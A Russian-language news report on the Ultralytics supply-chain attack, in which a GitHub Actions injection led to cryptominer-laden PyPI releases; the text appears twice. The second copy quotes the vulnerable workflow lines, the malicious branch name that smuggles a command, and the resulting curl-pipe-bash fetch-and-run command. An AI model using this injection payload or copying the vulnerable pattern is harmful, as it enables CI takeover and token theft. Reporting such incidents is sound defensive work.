Всего одна строка кода открыла доступ к миллионам загрузок.
Репозиторий Python-библиотеки Ultralytics, широко используемой в задачах компьютерного зрения, подвергся атаке , в результате которой злоумышленники получили возможность выполнять код с привилегиями обработчика GitHub Actions. Воспользовавшись этой уязвимостью, они разместили на PyPI вредоносные версии библиотеки, предназначенные для майнинга криптовалюты.
Уязвимость была связана с пакетом ultralytics-actions, который автоматизирует запуск обработчиков при определённых действиях в репозитории. Для этого и используется механизм GitHub Actions. В проекте Ultralytics обработчик, привязанный к событию pull_request_target, вызывал файл format.yml для форматирования кода в поступающих pull-запросах. В этом файле выполнялись shell-команды с шаблонами подстановки, такими как:
Злоумышленники отправили pull-запрос в репозиторий Ultralytics, указав в качестве имени ветки следующую строку:
Это привело к выполнению команды:
В результате атакующие получили доступ к токенам репозитория и другим конфиденциальным данным. Предполагается, что они изменили обработчик publish.yml, убрав проверку учётной записи, с которой разрешено публиковать релизы на PyPI, и использовали технику отравления сборочного кэша GitHub Actions для внедрения своих данных в релиз.
Первый вредоносный релиз Ultralytics версии 8.3.41 был опубликован на PyPI 4 декабря в 23:51 (MSK) и удалён в 12:15 следующего дня. В 15:47 был размещён ещё один релиз 8.3.42, который удалили в 16:47. Таким образом, вредоносные версии были доступны для загрузки около 13 часов. В этих выпусках содержался код, загружающий с внешнего сервера компонент XMRig для майнинга.
Разработчики оперативно устранили проблему и выпустили корректирующие релизы 8.3.43 и 8.3.44. Однако спустя два дня злоумышленники вновь опубликовали вредоносные релизы 8.3.45 и 8.3.46, включающие другой код. До завершения расследования пользователям рекомендуют воздержаться от установки новых версий и зафиксировать в зависимостях выпуск 8.3.44.
Репозиторий Python-библиотеки Ultralytics, широко используемой в задачах компьютерного зрения, подвергся атаке , в результате которой злоумышленники получили возможность выполнять код с привилегиями обработчика GitHub Actions. Воспользовавшись этой уязвимостью, они разместили на PyPI вредоносные версии библиотеки, предназначенные для майнинга криптовалюты.
Уязвимость была связана с пакетом ultralytics-actions, который автоматизирует запуск обработчиков при определённых действиях в репозитории. Для этого и используется механизм GitHub Actions. В проекте Ultralytics обработчик, привязанный к событию pull_request_target, вызывал файл format.yml для форматирования кода в поступающих pull-запросах. В этом файле выполнялись shell-команды с шаблонами подстановки, такими как:
Код:
git pull origin ${{ github.head_ref || github.ref }}
git config --global user.name "${{ inputs.github_username }}"
git config --global user.email "${{ inputs.github_email }}"
Злоумышленники отправили pull-запрос в репозиторий Ultralytics, указав в качестве имени ветки следующую строку:
Код:
openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Это привело к выполнению команды:
Код:
curl -sSfL raw.githubusercontent.com/.../file.sh | bash
В результате атакующие получили доступ к токенам репозитория и другим конфиденциальным данным. Предполагается, что они изменили обработчик publish.yml, убрав проверку учётной записи, с которой разрешено публиковать релизы на PyPI, и использовали технику отравления сборочного кэша GitHub Actions для внедрения своих данных в релиз.
Первый вредоносный релиз Ultralytics версии 8.3.41 был опубликован на PyPI 4 декабря в 23:51 (MSK) и удалён в 12:15 следующего дня. В 15:47 был размещён ещё один релиз 8.3.42, который удалили в 16:47. Таким образом, вредоносные версии были доступны для загрузки около 13 часов. В этих выпусках содержался код, загружающий с внешнего сервера компонент XMRig для майнинга.
Разработчики оперативно устранили проблему и выпустили корректирующие релизы 8.3.43 и 8.3.44. Однако спустя два дня злоумышленники вновь опубликовали вредоносные релизы 8.3.45 и 8.3.46, включающие другой код. До завершения расследования пользователям рекомендуют воздержаться от установки новых версий и зафиксировать в зависимостях выпуск 8.3.44.